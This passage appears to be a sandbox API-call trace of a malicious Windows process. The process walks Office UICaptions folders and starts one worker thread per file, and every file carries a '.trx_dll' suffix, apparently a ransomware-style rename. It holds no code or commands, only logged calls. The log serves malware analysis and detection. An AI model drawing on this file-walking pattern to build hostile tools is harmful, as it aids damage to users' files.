_Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.699] wcscat (in: _Dest=0x4205c290, _Source="XLSLICER.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" [0158.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58 [0158.700] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0 [0158.700] FindClose (in: hFindFile=0x1cd9d790 | out: hFindFile=0x1cd9d790) returned 1 [0158.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63650) returned 1 [0158.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0158.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e330) returned 1 Thread: id = 2451 os_tid = 0x1ec0 [0153.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8663c0 [0153.848] wcscpy (in: _Dest=0x1b8663c0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0153.848] wcscat (in: _Dest=0x1b8663c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0153.848] wcscat (in: _Dest=0x1b8663c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*" [0153.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62c90 [0153.848] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9df10 [0153.848] wcscmp (_String1=".", _String2=".") returned 0 [0153.848] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.848] wcscmp (_String1="..", _String2=".") returned 1 [0153.848] wcscmp (_String1="..", _String2="..") returned 0 [0153.848] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0153.848] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2=".") returned 1 [0153.848] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2="..") returned 1 [0153.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205de10 [0153.849] wcscpy (in: _Dest=0x4205de10, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0153.849] wcscat (in: _Dest=0x4205de10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0153.849] wcscat (in: _Dest=0x4205de10, _Source="ENVELOPR.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" [0158.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205de10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0 [0158.841] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1 [0158.841] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2=".") returned 1 [0158.841] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2="..") returned 1 [0158.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad5c0 [0158.841] wcscpy (in: _Dest=0x1b7ad5c0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.841] wcscat (in: _Dest=0x1b7ad5c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.841] wcscat (in: _Dest=0x1b7ad5c0, _Source="GRINTL32.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" [0158.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c [0158.842] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1 [0158.842] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2=".") returned 1 [0158.842] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2="..") returned 1 [0158.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad2a0 [0158.842] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.842] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.842] wcscat (in: _Dest=0x1b7ad2a0, _Source="GRINTL32.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" [0158.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0158.843] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1 [0158.843] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2=".") returned 1 [0158.843] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2="..") returned 1 [0158.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cb50 [0158.843] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.843] wcscat (in: _Dest=0x4205cb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.843] wcscat (in: _Dest=0x4205cb50, _Source="MAPIR.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" [0158.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0158.844] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1 [0158.844] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2=".") returned 1 [0158.844] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2="..") returned 1 [0158.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205ce70 [0158.845] wcscpy (in: _Dest=0x4205ce70, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.845] wcscat (in: _Dest=0x4205ce70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.845] wcscat (in: _Dest=0x4205ce70, _Source="MOR6INT.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" [0158.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58 [0158.846] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1 [0158.846] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2=".") returned 1 [0158.846] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2="..") returned 1 [0158.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205dd70 [0158.846] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.846] wcscat (in: _Dest=0x4205dd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.846] wcscat (in: _Dest=0x4205dd70, _Source="MSOINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" [0158.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2604 [0158.847] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1 [0158.847] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2=".") returned 1 [0158.847] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2="..") returned 1 [0158.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c510 [0158.847] wcscpy (in: _Dest=0x4205c510, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.847] wcscat (in: _Dest=0x4205c510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.847] wcscat (in: _Dest=0x4205c510, _Source="MSOINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" [0158.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2608 [0158.848] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1 [0158.848] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2=".") returned 1 [0158.848] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2="..") returned 1 [0158.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205c5b0 [0158.849] wcscpy (in: _Dest=0x4205c5b0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.849] wcscat (in: _Dest=0x4205c5b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.849] wcscat (in: _Dest=0x4205c5b0, _Source="OMSINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" [0158.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260c [0158.850] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1 [0158.850] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2=".") returned 1 [0158.850] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2="..") returned 1 [0158.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cf10 [0158.850] wcscpy (in: _Dest=0x4205cf10, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.850] wcscat (in: _Dest=0x4205cf10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.850] wcscat (in: _Dest=0x4205cf10, _Source="ONINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" [0158.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cf10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2610 [0158.851] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1 [0158.851] wcscmp (_String1="ONINTL.REST.trx_dll", _String2=".") returned 1 [0158.851] wcscmp (_String1="ONINTL.REST.trx_dll", _String2="..") returned 1 [0158.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x205069f0 [0158.851] wcscpy (in: _Dest=0x205069f0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.851] wcscat (in: _Dest=0x205069f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.851] wcscat (in: _Dest=0x205069f0, _Source="ONINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" [0158.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205069f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2614 [0158.852] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1 [0158.852] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2=".") returned 1 [0158.852] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2="..") returned 1 [0158.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20506450 [0158.852] wcscpy (in: _Dest=0x20506450, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.852] wcscat (in: _Dest=0x20506450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.852] wcscat (in: _Dest=0x20506450, _Source="OUTLLIBR.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" [0158.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2618 [0158.853] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1 [0158.853] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2=".") returned 1 [0158.853] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2="..") returned 1 [0158.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20508810 [0158.853] wcscpy (in: _Dest=0x20508810, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.853] wcscat (in: _Dest=0x20508810, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.853] wcscat (in: _Dest=0x20508810, _Source="OUTLLIBR.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" [0158.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x261c [0158.854] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", 